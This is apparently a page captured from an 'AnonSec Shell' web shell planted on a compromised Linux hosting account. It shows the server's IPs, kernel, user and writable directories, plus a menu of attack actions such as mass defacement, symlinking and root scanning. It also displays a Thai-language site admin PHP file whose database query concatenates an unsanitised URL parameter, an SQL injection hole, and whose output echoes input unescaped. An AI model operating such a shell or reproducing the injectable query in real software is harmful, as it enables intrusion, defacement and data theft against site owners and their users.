AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/beerecord.com/fabulous/myBackend/list/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/beerecord.com/fabulous/myBackend/list/edit.php
<?php session_start(); ?>
<?php include('../include/checkLogin.php'); ?>
<?php include('../include/class.php');
include('page.php');
$page = 'list';
?>

<!doctype html>

<html lang="en">

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <meta name="description" content="">
  <meta name="author" content="Mark Otto, Jacob Thornton, and Bootstrap contributors">
  <meta name="generator" content="Hugo 0.88.1">
  <title>Mybackend</title>

  <!-- Bootstrap core CSS -->
  <link href="../../bootstrap-5.1.3-dist/css/bootstrap.min.css" rel="stylesheet">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">

  <style>
    .bd-placeholder-img {
      font-size: 1.125rem;
      text-anchor: middle;
      -webkit-user-select: none;
      -moz-user-select: none;
      user-select: none;
    }

    @media (min-width: 768px) {
      .bd-placeholder-img-lg {
        font-size: 3.5rem;
      }
    }

    .btn1 {
      margin-bottom: -1px;
      background-color: #481165;
      border: 1px solid #481165;
      border-top-left-radius: 1.25rem;
      border-top-right-radius: 1.25rem;
      padding-left: 1rem;
      padding-right: 1rem;
      height: 2.5rem;
    }

    .btn2 {
      margin-bottom: -1px;
      background-color: #e01274;
      border: 1px solid #e01274;
      border-top-left-radius: 1.25rem;
      border-top-right-radius: 1.25rem;
      padding-left: 1rem;
      padding-right: 1rem;
      height: 2.5rem;
    }

    .btn3 {
      margin-bottom: -1px;
      background-color: #b12901;
      border: 1px solid #b12901;
      border-top-left-radius: 1.25rem;
      border-top-right-radius: 1.25rem;
      padding-left: 1rem;
      padding-right: 1rem;
      height: 2.5rem;
    }

    .btn4 {
      margin-bottom: -1px;
      background-color: #0096ed;
      border: 1px solid #0096ed;
      border-top-left-radius: 1.25rem;
      border-top-right-radius: 1.25rem;
      padding-left: 1rem;
      padding-right: 1rem;
      height: 2.5rem;
    }

    .border-btn1 {
      border: 2px solid #481165;
      background-color: #ffffff
    }

    .border-btn2 {
      border: 2px solid #e01274;
      background-color: #ffffff
    }

    .border-btn3 {
      border: 2px solid #b12901;
      background-color: #ffffff
    }

    .border-btn4 {
      border: 2px solid #0096ed;
      background-color: #ffffff
    }

    .active1 {

      background-color: #000000;

      color: #ffffff;

    }
  </style>

</head>

<body>
  <?php include('../include/header.php'); ?>
  <div class="container-fluid">
    <div class="row">
      <?php include('../include/menu_left.php'); ?>
      <?php
      $secrch = " `id` =  '" . @$_GET['id'] . "'";
      $sql = array('table' => $name_table, 'where' => $secrch);
      $view_sql = $view_db->view($sql);
      $row = $view_db->q($view_sql);

      //print_r($row);

      ?>

      <main class="col-md-9 ms-sm-auto col-lg-10 px-md-4 mb-5">
        <div class="d-flex justify-content-between flex-wrap flex-md-nowrap align-items-center pt-3 pb-2 mb-3 border-bottom">
          <h1 class="h2">แก้ไข</h1>
        </div>

        <form action="edit_db.php?id=<?php echo @$_GET['id']; ?>" method="post" enctype="multipart/form-data">
          <div class="row">
            <div class="col-12 col-md-6">
              <div class="mb-3">
                <label for="inputName" class="form-label">ชื่อ</label>
                <input type="text" class="form-control" id="inputName" name="inputName" placeholder="name" value="<?php echo $row['name']; ?>">
              </div>
            </div>
          </div>

          <div class="row">
            <div class="col-12 col-md-6">
              <div class="mb-3">
                <label for="bg" class="form-label">รูปพื้นหลัง</label>
                <input class="form-control" type="file" id="bg" name="bg">
                <img src="../../redbag/bg/thumb/<?php echo $row['background']; ?>" alt="" class="my-3">
              </div>
            </div>
          </div>
          <div class="row">
            <div class="col-12 col-md-6">
              <div class="mb-3">
                <label for="bg_h" class="form-label">รูปหัวข้อด้านบน</label>
                <input class="form-control" type="file" id="bg_h" name="bg_h">
                <img src="../../redbag/icon/thumb/<?php echo $row['image_head']; ?>" alt="" class="my-3">
              </div>
            </div>
          </div>
          <div class="row">
            <div class="col-12 col-md-6">
              <div class="mb-3">
                <label for="bg_f" class="form-label">รูปหัวข้อด้านล่าง</label>
                <input class="form-control" type="file" id="bg_f" name="bg_f">
                <img src="../../redbag/icon/thumb/<?php echo $row['image_footer']; ?>" alt="" class="my-3">
              </div>
            </div>
          </div>

          <div class="d-grid gap-2 col-3 mx-auto text-center mt-3">
            <button type="submit" name="button" value="add" class="btn btn-primary">บันทึก</button>
          </div>
        </form>

      </main>
    </div>
  </div>

  <script>
    function add_img(id_add, name) {

    }
  </script>

  <script src="../../bootstrap-5.1.3-dist/js/bootstrap.bundle.min.js" ></script>



</body>

</html>

Anon7 - 2022
AnonSec Team